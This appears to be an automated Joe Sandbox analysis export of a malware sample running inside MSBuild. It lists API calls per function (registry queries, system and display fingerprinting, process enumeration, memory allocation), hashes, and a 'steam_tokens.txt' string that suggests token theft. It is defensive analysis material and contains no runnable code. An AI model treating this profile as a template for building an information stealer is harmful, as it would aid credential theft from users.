Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,00D51150,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,00D556E8,00000000,00000000,000000FF,000000FF), ref: 00417E7F
Part of subcall function 00417E00: RegCloseKey.ADVAPI32(?), ref: 00417E92

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00D56050,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00D56050,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: CreateDCA.GDI32(00D40598,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,00D53468,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 0041848C
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CapsCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3820780155-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00D40578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
